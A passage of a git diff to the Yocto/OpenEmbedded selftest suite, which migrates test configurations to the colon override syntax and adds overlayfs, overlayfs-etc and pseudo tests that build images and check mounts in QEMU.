+ MCTESTVAR:append = "1"
''')
self.write_config(testconfig, 'test')
@@ -64,7 +64,7 @@ TMPDIR = "${TOPDIR}/tmp-mc-tiny"
self.assertIn('MCTESTVAR=test1', result.output.splitlines())
testconfig = textwrap.dedent('''\
- MCTESTVAR_append = "2"
+ MCTESTVAR:append = "2"
''')
self.write_config(testconfig, 'test')
diff --git a/meta/lib/oeqa/selftest/cases/oelib/elf.py b/meta/lib/oeqa/selftest/cases/oelib/elf.py
index d0a28090f2..5a5f9b4fdf 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/elf.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/elf.py
@@ -21,6 +21,6 @@ class TestElf(TestCase):
self.assertEqual(oe.qa.elf_machine_to_string(0xB7), "AArch64")
self.assertEqual(oe.qa.elf_machine_to_string(0xF7), "BPF")
- self.assertEqual(oe.qa.elf_machine_to_string(0x00), "Unknown (0)")
+ self.assertEqual(oe.qa.elf_machine_to_string(0x00), "Unset")
self.assertEqual(oe.qa.elf_machine_to_string(0xDEADBEEF), "Unknown (3735928559)")
self.assertEqual(oe.qa.elf_machine_to_string("foobar"), "Unknown ('foobar')")
diff --git a/meta/lib/oeqa/selftest/cases/oelib/utils.py b/meta/lib/oeqa/selftest/cases/oelib/utils.py
index a7214beb4c..bbf67bf9c9 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/utils.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/utils.py
@@ -64,7 +64,7 @@ class TestMultiprocessLaunch(TestCase):
import bb
def testfunction(item, d):
- if item == "2" or item == "1":
+ if item == "2":
raise KeyError("Invalid number %s" % item)
return "Found %s" % item
@@ -99,5 +99,4 @@ class TestMultiprocessLaunch(TestCase):
# Assert the function prints exceptions
with captured_output() as (out, err):
self.assertRaises(bb.BBHandledException, multiprocess_launch, testfunction, ["1", "2", "3", "4", "5", "6"], d, extraargs=(d,))
- self.assertIn("KeyError: 'Invalid number 1'", out.getvalue())
self.assertIn("KeyError: 'Invalid number 2'", out.getvalue())
diff --git a/meta/lib/oeqa/selftest/cases/oescripts.py b/meta/lib/oeqa/selftest/cases/oescripts.py
index 726daff7c6..91abf9654a 100644
--- a/meta/lib/oeqa/selftest/cases/oescripts.py
+++ b/meta/lib/oeqa/selftest/cases/oescripts.py
@@ -150,7 +150,7 @@ class OEListPackageconfigTests(OEScriptTests):
expected_endlines = []
expected_endlines.append("RECIPE NAME PACKAGECONFIG FLAGS")
expected_endlines.append("pinentry gtk2 libcap ncurses qt secret")
- expected_endlines.append("tar acl")
+ expected_endlines.append("tar acl selinux")
self.check_endlines(results, expected_endlines)
@@ -167,7 +167,7 @@ class OEListPackageconfigTests(OEScriptTests):
def test_packageconfig_flags_option_all(self):
results = runCmd('%s/contrib/list-packageconfig-flags.py -a' % self.scripts_dir)
expected_endlines = []
- expected_endlines.append("pinentry-1.1.0")
+ expected_endlines.append("pinentry-1.2.0")
expected_endlines.append("PACKAGECONFIG ncurses libcap")
expected_endlines.append("PACKAGECONFIG[qt] --enable-pinentry-qt, --disable-pinentry-qt, qtbase-native qtbase")
expected_endlines.append("PACKAGECONFIG[gtk2] --enable-pinentry-gtk2, --disable-pinentry-gtk2, gtk+ glib-2.0")
diff --git a/meta/lib/oeqa/selftest/cases/overlayfs.py b/meta/lib/oeqa/selftest/cases/overlayfs.py
new file mode 100644
index 0000000000..82007fade7
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/overlayfs.py
@@ -0,0 +1,395 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import runCmd, bitbake, get_bb_var, runqemu
+
+def getline_qemu(out, line):
+ for l in out.split('\n'):
+ if line in l:
+ return l
+
+def getline(res, line):
+ return getline_qemu(res.output, line)
+
+class OverlayFSTests(OESelftestTestCase):
+ """Overlayfs class usage tests"""
+
+ def add_overlay_conf_to_machine(self):
+ machine_inc = """
+OVERLAYFS_MOUNT_POINT[mnt-overlay] = "/mnt/overlay"
+"""
+ self.set_machine_config(machine_inc)
+
+ def test_distro_features_missing(self):
+ """
+ Summary: Check that required DISTRO_FEATURES are set
+ Expected: Fail when either systemd or overlayfs are not in DISTRO_FEATURES
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+"""
+ overlayfs_recipe_append = """
+inherit overlayfs
+"""
+ self.write_config(config)
+ self.add_overlay_conf_to_machine()
+ self.write_recipeinc('overlayfs-user', overlayfs_recipe_append)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "overlayfs-user was skipped: missing required distro features")
+ self.assertTrue("overlayfs" in res.output, msg=res.output)
+ self.assertTrue("systemd" in res.output, msg=res.output)
+ self.assertTrue("ERROR: Required build target 'core-image-minimal' has no buildable providers." in res.output, msg=res.output)
+
+ def test_not_all_units_installed(self):
+ """
+ Summary: Test QA check that we have required mount units in the image
+ Expected: Fail because mount unit for overlay partition is not installed
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+DISTRO_FEATURES += "systemd overlayfs"
+"""
+
+ self.write_config(config)
+ self.add_overlay_conf_to_machine()
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "Unit name mnt-overlay.mount not found in systemd unit directories")
+ self.assertTrue(line and line.startswith("WARNING:"), msg=res.output)
+ line = getline(res, "Not all mount units are installed by the BSP")
+ self.assertTrue(line and line.startswith("ERROR:"), msg=res.output)
+
+ def test_mount_unit_not_set(self):
+ """
+ Summary: Test whether mount unit was set properly
+ Expected: Fail because mount unit was not set
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+DISTRO_FEATURES += "systemd overlayfs"
+"""
+
+ self.write_config(config)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "A recipe uses overlayfs class but there is no OVERLAYFS_MOUNT_POINT set in your MACHINE configuration")
+ self.assertTrue(line and line.startswith("Parsing recipes...ERROR:"), msg=res.output)
+
+ def test_wrong_mount_unit_set(self):
+ """
+ Summary: Test whether mount unit was set properly
+ Expected: Fail because not the correct flag used for mount unit
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user"
+DISTRO_FEATURES += "systemd overlayfs"
+"""
+
+ wrong_machine_config = """
+OVERLAYFS_MOUNT_POINT[usr-share-overlay] = "/usr/share/overlay"
+"""
+
+ self.write_config(config)
+ self.set_machine_config(wrong_machine_config)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "Missing required mount point for OVERLAYFS_MOUNT_POINT[mnt-overlay] in your MACHINE configuration")
+ self.assertTrue(line and line.startswith("Parsing recipes...ERROR:"), msg=res.output)
+
+ def test_correct_image(self):
+ """
+ Summary: Check that we can create an image when all parameters are
+ set correctly
+ Expected: Image is created successfully
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+IMAGE_INSTALL:append = " overlayfs-user systemd-machine-units"
+DISTRO_FEATURES += "systemd overlayfs"
+
+# Use systemd as init manager
+VIRTUAL-RUNTIME_init_manager = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+"""
+
+ systemd_machine_unit_append = """
+SYSTEMD_SERVICE:${PN} += " \
+ mnt-overlay.mount \
+"
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ cat <<EOT > ${D}${systemd_system_unitdir}/mnt-overlay.mount
+[Unit]
+Description=Tmpfs directory
+DefaultDependencies=no
+
+[Mount]
+What=tmpfs
+Where=/mnt/overlay
+Type=tmpfs
+Options=mode=1777,strictatime,nosuid,nodev
+
+[Install]
+WantedBy=multi-user.target
+EOT
+}
+
+"""
+
+ overlayfs_recipe_append = """
+OVERLAYFS_WRITABLE_PATHS[mnt-overlay] += "/usr/share/another-overlay-mount"
+
+SYSTEMD_SERVICE:${PN} += " \
+ my-application.service \
+"
+
+do_install:append() {
+ install -d ${D}${systemd_system_unitdir}
+ cat <<EOT > ${D}${systemd_system_unitdir}/my-application.service
+[Unit]
+Description=Sample application start-up unit
+After=overlayfs-user-overlays.service
+Requires=overlayfs-user-overlays.service
+
+[Service]
+Type=oneshot
+ExecStart=/bin/true
+RemainAfterExit=true
+
+[Install]
+WantedBy=multi-user.target
+EOT
+}
+"""
+
+ self.write_config(config)
+ self.add_overlay_conf_to_machine()
+ self.write_recipeinc('systemd-machine-units', systemd_machine_unit_append)
+ self.write_recipeinc('overlayfs-user', overlayfs_recipe_append)
+
+ bitbake('core-image-minimal')
+
+ with runqemu('core-image-minimal') as qemu:
+ # Check that application service started
+ status, output = qemu.run_serial("systemctl status my-application")
+ self.assertTrue("active (exited)" in output, msg=output)
+
+ # Check that overlay mounts are dependencies of our application unit
+ status, output = qemu.run_serial("systemctl list-dependencies my-application")
+ self.assertTrue("overlayfs-user-overlays.service" in output, msg=output)
+
+ status, output = qemu.run_serial("systemctl list-dependencies overlayfs-user-overlays")
+ self.assertTrue("usr-share-another\\x2doverlay\\x2dmount.mount" in output, msg=output)
+ self.assertTrue("usr-share-my\\x2dapplication.mount" in output, msg=output)
+
+ # Check that we have /mnt/overlay fs mounted as tmpfs and
+ # /usr/share/my-application as an overlay (see overlayfs-user recipe)
+ status, output = qemu.run_serial("/bin/mount -t tmpfs,overlay")
+
+ line = getline_qemu(output, "on /mnt/overlay")
+ self.assertTrue(line and line.startswith("tmpfs"), msg=output)
+
+ line = getline_qemu(output, "upperdir=/mnt/overlay/upper/usr/share/my-application")
+ self.assertTrue(line and line.startswith("overlay"), msg=output)
+
+ line = getline_qemu(output, "upperdir=/mnt/overlay/upper/usr/share/another-overlay-mount")
+ self.assertTrue(line and line.startswith("overlay"), msg=output)
+
+class OverlayFSEtcRunTimeTests(OESelftestTestCase):
+ """overlayfs-etc class tests"""
+
+ def test_all_required_variables_set(self):
+ """
+ Summary: Check that required variables are set
+ Expected: Fail when any of required variables is missing
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ configBase = """
+DISTRO_FEATURES += "systemd"
+
+# Use systemd as init manager
+VIRTUAL-RUNTIME_init_manager = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+
+# Image configuration for overlayfs-etc
+EXTRA_IMAGE_FEATURES += "overlayfs-etc"
+IMAGE_FEATURES:remove = "package-management"
+"""
+ configMountPoint = """
+OVERLAYFS_ETC_MOUNT_POINT = "/data"
+"""
+ configDevice = """
+OVERLAYFS_ETC_DEVICE = "/dev/mmcblk0p1"
+"""
+
+ self.write_config(configBase)
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "OVERLAYFS_ETC_MOUNT_POINT must be set in your MACHINE configuration")
+ self.assertTrue(line, msg=res.output)
+
+ self.append_config(configMountPoint)
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "OVERLAYFS_ETC_DEVICE must be set in your MACHINE configuration")
+ self.assertTrue(line, msg=res.output)
+
+ self.append_config(configDevice)
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "OVERLAYFS_ETC_FSTYPE should contain a valid file system type on /dev/mmcblk0p1")
+ self.assertTrue(line, msg=res.output)
+
+ def test_image_feature_conflict(self):
+ """
+ Summary: Overlayfs-etc is not allowed to be used with package-management
+ Expected: Feature conflict
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+DISTRO_FEATURES += "systemd"
+
+# Use systemd as init manager
+VIRTUAL-RUNTIME_init_manager = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+EXTRA_IMAGE_FEATURES += "overlayfs-etc"
+EXTRA_IMAGE_FEATURES += "package-management"
+"""
+
+ self.write_config(config)
+
+ res = bitbake('core-image-minimal', ignore_status=True)
+ line = getline(res, "contains conflicting IMAGE_FEATURES")
+ self.assertTrue("overlayfs-etc" in res.output, msg=res.output)
+ self.assertTrue("package-management" in res.output, msg=res.output)
+
+ def test_image_feature_is_missing_class_included(self):
+ configAppend = """
+INHERIT += "overlayfs-etc"
+"""
+ self.run_check_image_feature(configAppend)
+
+ def test_image_feature_is_missing(self):
+ self.run_check_image_feature()
+
+ def run_check_image_feature(self, appendToConfig=""):
+ """
+ Summary: Overlayfs-etc class is not applied when image feature is not set
+ even if we inherit it directly,
+ Expected: Image is created successfully but /etc is not an overlay
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = f"""
+DISTRO_FEATURES += "systemd"
+
+# Use systemd as init manager
+VIRTUAL-RUNTIME_init_manager = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+
+IMAGE_FSTYPES += "wic"
+WKS_FILE = "overlayfs_etc.wks.in"
+
+EXTRA_IMAGE_FEATURES += "read-only-rootfs"
+# Image configuration for overlayfs-etc
+OVERLAYFS_ETC_MOUNT_POINT = "/data"
+OVERLAYFS_ETC_DEVICE = "/dev/sda3"
+{appendToConfig}
+"""
+
+ self.write_config(config)
+
+ bitbake('core-image-minimal')
+
+ with runqemu('core-image-minimal', image_fstype='wic') as qemu:
+ status, output = qemu.run_serial("/bin/mount")
+
+ line = getline_qemu(output, "upperdir=/data/overlay-etc/upper")
+ self.assertFalse(line, msg=output)
+
+ def test_sbin_init_preinit(self):
+ self.run_sbin_init(False)
+
+ def test_sbin_init_original(self):
+ self.run_sbin_init(True)
+
+ def run_sbin_init(self, origInit):
+ """
+ Summary: Confirm we can replace original init and mount overlay on top of /etc
+ Expected: Image is created successfully and /etc is mounted as an overlay
+ Author: Vyacheslav Yurkov <uvv.mail@gmail.com>
+ """
+
+ config = """
+DISTRO_FEATURES += "systemd"
+
+# Use systemd as init manager
+VIRTUAL-RUNTIME_init_manager = "systemd"
+
+# enable overlayfs in the kernel
+KERNEL_EXTRA_FEATURES:append = " features/overlayfs/overlayfs.scc"
+
+IMAGE_FSTYPES += "wic"
+OVERLAYFS_INIT_OPTION = "{OVERLAYFS_INIT_OPTION}"
+WKS_FILE = "overlayfs_etc.wks.in"
+
+EXTRA_IMAGE_FEATURES += "read-only-rootfs"
+# Image configuration for overlayfs-etc
+EXTRA_IMAGE_FEATURES += "overlayfs-etc"
+IMAGE_FEATURES:remove = "package-management"
+OVERLAYFS_ETC_MOUNT_POINT = "/data"
+OVERLAYFS_ETC_FSTYPE = "ext4"
+OVERLAYFS_ETC_DEVICE = "/dev/sda3"
+OVERLAYFS_ETC_USE_ORIG_INIT_NAME = "{OVERLAYFS_ETC_USE_ORIG_INIT_NAME}"
+"""
+
+ args = {
+ 'OVERLAYFS_INIT_OPTION': "" if origInit else "init=/sbin/preinit",
+ 'OVERLAYFS_ETC_USE_ORIG_INIT_NAME': int(origInit == True)
+ }
+
+ self.write_config(config.format(**args))
+
+ bitbake('core-image-minimal')
+ testFile = "/etc/my-test-data"
+
+ with runqemu('core-image-minimal', image_fstype='wic', discard_writes=False) as qemu:
+ status, output = qemu.run_serial("/bin/mount")
+
+ line = getline_qemu(output, "/dev/sda3")
+ self.assertTrue("/data" in output, msg=output)
+
+ line = getline_qemu(output, "upperdir=/data/overlay-etc/upper")
+ self.assertTrue(line and line.startswith("/data/overlay-etc/upper on /etc type overlay"), msg=output)
+
+ status, output = qemu.run_serial("touch " + testFile)
+ status, output = qemu.run_serial("sync")
+ status, output = qemu.run_serial("ls -1 " + testFile)
+ line = getline_qemu(output, testFile)
+ self.assertTrue(line and line.startswith(testFile), msg=output)
+
+ # Check that file exists in /etc after reboot
+ with runqemu('core-image-minimal', image_fstype='wic') as qemu:
+ status, output = qemu.run_serial("ls -1 " + testFile)
+ line = getline_qemu(output, testFile)
+ self.assertTrue(line and line.startswith(testFile), msg=output)
diff --git a/meta/lib/oeqa/selftest/cases/package.py b/meta/lib/oeqa/selftest/cases/package.py
index 3010b1af49..cebbb4f3f4 100644
--- a/meta/lib/oeqa/selftest/cases/package.py
+++ b/meta/lib/oeqa/selftest/cases/package.py
@@ -116,9 +116,9 @@ class PackageTests(OESelftestTestCase):
# Verify gdb to read symbols from separated debug hardlink file correctly
def test_gdb_hardlink_debug(self):
- features = 'IMAGE_INSTALL_append = " selftest-hardlink"\n'
- features += 'IMAGE_INSTALL_append = " selftest-hardlink-dbg"\n'
- features += 'IMAGE_INSTALL_append = " selftest-hardlink-gdb"\n'
+ features = 'IMAGE_INSTALL:append = " selftest-hardlink"\n'
+ features += 'IMAGE_INSTALL:append = " selftest-hardlink-dbg"\n'
+ features += 'IMAGE_INSTALL:append = " selftest-hardlink-gdb"\n'
self.write_config(features)
bitbake("core-image-minimal")
@@ -151,7 +151,7 @@ class PackageTests(OESelftestTestCase):
def test_preserve_ownership(self):
import os, stat, oe.cachedpath
- features = 'IMAGE_INSTALL_append = " selftest-chown"\n'
+ features = 'IMAGE_INSTALL:append = " selftest-chown"\n'
self.write_config(features)
bitbake("core-image-minimal")
@@ -168,6 +168,7 @@ class PackageTests(OESelftestTestCase):
with runqemu('core-image-minimal') as qemu:
for path in [ sysconfdir + "/selftest-chown/file",
sysconfdir + "/selftest-chown/dir",
- sysconfdir + "/selftest-chown/symlink"]:
+ sysconfdir + "/selftest-chown/symlink",
+ sysconfdir + "/selftest-chown/fifotest/fifo"]:
if not check_ownership(qemu, "test", "test", path):
self.fail('Test ownership %s failed' % path)
diff --git a/meta/lib/oeqa/selftest/cases/pkgdata.py b/meta/lib/oeqa/selftest/cases/pkgdata.py
index 833a1803ba..254abc40c6 100644
--- a/meta/lib/oeqa/selftest/cases/pkgdata.py
+++ b/meta/lib/oeqa/selftest/cases/pkgdata.py
@@ -218,3 +218,9 @@ class OePkgdataUtilTests(OESelftestTestCase):
def test_specify_pkgdatadir(self):
result = runCmd('oe-pkgdata-util -p %s lookup-pkg zlib' % get_bb_var('PKGDATA_DIR'))
self.assertEqual(result.output, 'libz1')
+
+ def test_no_param(self):
+ result = runCmd('oe-pkgdata-util', ignore_status=True)
+ self.assertEqual(result.status, 2, "Status different than 2. output: %s" % result.output)
+ currpos = result.output.find('usage: oe-pkgdata-util')
+ self.assertTrue(currpos != -1, msg = "Test is Failed. Help is not Displayed in %s" % result.output)
diff --git a/meta/lib/oeqa/selftest/cases/prservice.py b/meta/lib/oeqa/selftest/cases/prservice.py
index 578b2b4dd9..10158ca7c2 100644
--- a/meta/lib/oeqa/selftest/cases/prservice.py
+++ b/meta/lib/oeqa/selftest/cases/prservice.py
@@ -40,7 +40,7 @@ class BitbakePrTests(OESelftestTestCase):
return str(stamps[0])
def increment_package_pr(self, package_name):
- inc_data = "do_package_append() {\n bb.build.exec_func('do_test_prserv', d)\n}\ndo_test_prserv() {\necho \"The current date is: %s\" > ${PKGDESTWORK}/${PN}.datestamp\n}" % datetime.datetime.now()
+ inc_data = "do_package:append() {\n bb.build.exec_func('do_test_prserv', d)\n}\ndo_test_prserv() {\necho \"The current date is: %s\" > ${PKGDESTWORK}/${PN}.datestamp\n}" % datetime.datetime.now()
self.write_recipeinc(package_name, inc_data)
res = bitbake(package_name, ignore_status=True)
self.delete_recipeinc(package_name)
diff --git a/meta/lib/oeqa/selftest/cases/pseudo.py b/meta/lib/oeqa/selftest/cases/pseudo.py
new file mode 100644
index 0000000000..33593d5ce9
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/pseudo.py
@@ -0,0 +1,27 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+import glob
+import os
+import shutil
+from oeqa.utils.commands import bitbake, get_test_layer
+from oeqa.selftest.case import OESelftestTestCase
+
+class Pseudo(OESelftestTestCase):
+
+ def test_pseudo_pyc_creation(self):
+ self.write_config("")
+
+ metaselftestpath = get_test_layer()
+ pycache_path = os.path.join(metaselftestpath, 'lib/__pycache__')
+ if os.path.exists(pycache_path):
+ shutil.rmtree(pycache_path)
+
+ bitbake('pseudo-pyc-test -c install')
+
+ test1_pyc_present = len(glob.glob(os.path.join(pycache_path, 'pseudo_pyc_test1.*.pyc')))
+ self.assertTrue(test1_pyc_present, 'test1 pyc file missing, should be created outside of pseudo context.')
+
+ test2_pyc_present = len(glob.glob(os.path.join(pycache_path, 'pseudo_pyc_test2.*.pyc')))
+ self.assertFalse(test2_pyc_present, 'test2 pyc file present, should not be created in pseudo context.')
diff --git a/meta/lib/oeqa/selftest/cases/recipetool.py b/meta/lib/oeqa/selftest/cases/recipetool.py
index 9d56e9e1e3..9db1ddb532 100644
--- a/meta/lib/oeqa/selftest/cases/recipetool.py
+++ b/meta/lib/oeqa/selftest/cases/recipetool.py
@@ -25,7 +25,7 @@ def tearDownModule():
runCmd('rm -rf %s' % templayerdir)
-class RecipetoolBase(devtool.DevtoolBase):
+class RecipetoolBase(devtool.DevtoolTestCase):
def setUpLocal(self):
super(RecipetoolBase, self).setUpLocal()
@@ -68,17 +68,16 @@ class RecipetoolBase(devtool.DevtoolBase):
return bbappendfile, result.output
-class RecipetoolTests(RecipetoolBase):
+class RecipetoolAppendTests(RecipetoolBase):
@classmethod
def setUpClass(cls):
- super(RecipetoolTests, cls).setUpClass()
+ super(RecipetoolAppendTests, cls).setUpClass()
# Ensure we have the right data in shlibs/pkgdata
cls.logger.info('Running bitbake to generate pkgdata')
bitbake('-c packagedata base-files coreutils busybox selftest-recipetool-appendfile')
- bb_vars = get_bb_vars(['COREBASE', 'BBPATH'])
+ bb_vars = get_bb_vars(['COREBASE'])
cls.corebase = bb_vars['COREBASE']
- cls.bbpath = bb_vars['BBPATH']
def _try_recipetool_appendfile(self, testrecipe, destfile, newfile, options, expectedlines, expectedfiles):
cmd = 'recipetool appendfile %s %s %s %s' % (self.templayerdir, destfile, newfile, options)
@@ -94,7 +93,7 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_basic(self):
# Basic test
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('base-files', '/etc/motd', self.testfile, '', expectedlines, ['motd'])
self.assertNotIn('WARNING: ', output)
@@ -112,11 +111,11 @@ class RecipetoolTests(RecipetoolBase):
# Need a test file - should be executable
testfile2 = os.path.join(self.corebase, 'oe-init-build-env')
testfile2name = os.path.basename(testfile2)
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://%s"\n' % testfile2name,
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${base_bindir}\n',
' install -m 0755 ${WORKDIR}/%s ${D}${base_bindir}/ls\n' % testfile2name,
'}\n']
@@ -138,11 +137,11 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_add(self):
# Try arbitrary file add to a recipe
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/something\n',
'}\n']
@@ -151,13 +150,13 @@ class RecipetoolTests(RecipetoolBase):
# (so we're testing that, plus modifying an existing bbappend)
testfile2 = os.path.join(self.corebase, 'oe-init-build-env')
testfile2name = os.path.basename(testfile2)
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile \\\n',
' file://%s \\\n' % testfile2name,
' "\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/something\n',
' install -m 0755 ${WORKDIR}/%s ${D}${datadir}/scriptname\n' % testfile2name,
@@ -166,11 +165,11 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_add_bindir(self):
# Try arbitrary file add to a recipe, this time to a location such that should be installed as executable
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${bindir}\n',
' install -m 0755 ${WORKDIR}/testfile ${D}${bindir}/selftest-recipetool-testbin\n',
'}\n']
@@ -179,13 +178,13 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_add_machine(self):
# Try arbitrary file add to a recipe, this time to a location such that should be installed as executable
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'PACKAGE_ARCH = "${MACHINE_ARCH}"\n',
'\n',
- 'SRC_URI_append_mymachine = " file://testfile"\n',
+ 'SRC_URI:append:mymachine = " file://testfile"\n',
'\n',
- 'do_install_append_mymachine() {\n',
+ 'do_install:append:mymachine() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/something\n',
'}\n']
@@ -194,32 +193,32 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_orig(self):
# A file that's in SRC_URI and in do_install with the same name
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-orig', self.testfile, '', expectedlines, ['selftest-replaceme-orig'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_todir(self):
# A file that's in SRC_URI and in do_install with destination directory rather than file
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-todir', self.testfile, '', expectedlines, ['selftest-replaceme-todir'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_renamed(self):
# A file that's in SRC_URI with a different name to the destination file
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-renamed', self.testfile, '', expectedlines, ['file1'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_subdir(self):
# A file that's in SRC_URI in a subdir
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${datadir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${datadir}/selftest-replaceme-subdir\n',
'}\n']
@@ -228,25 +227,25 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_inst_glob(self):
# A file that's in do_install as a glob
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-inst-globfile', self.testfile, '', expectedlines, ['selftest-replaceme-inst-globfile'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_inst_todir_glob(self):
# A file that's in do_install as a glob with destination as a directory
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
_, output = self._try_recipetool_appendfile('selftest-recipetool-appendfile', '/usr/share/selftest-replaceme-inst-todir-globfile', self.testfile, '', expectedlines, ['selftest-replaceme-inst-todir-globfile'])
self.assertNotIn('WARNING: ', output)
def test_recipetool_appendfile_patch(self):
# A file that's added by a patch in SRC_URI
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://testfile"\n',
'\n',
- 'do_install_append() {\n',
+ 'do_install:append() {\n',
' install -d ${D}${sysconfdir}\n',
' install -m 0644 ${WORKDIR}/testfile ${D}${sysconfdir}/selftest-replaceme-patched\n',
'}\n']
@@ -260,11 +259,11 @@ class RecipetoolTests(RecipetoolBase):
def test_recipetool_appendfile_script(self):
# Now, a file that's in SRC_URI but installed by a script (so no mention in do_install)
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
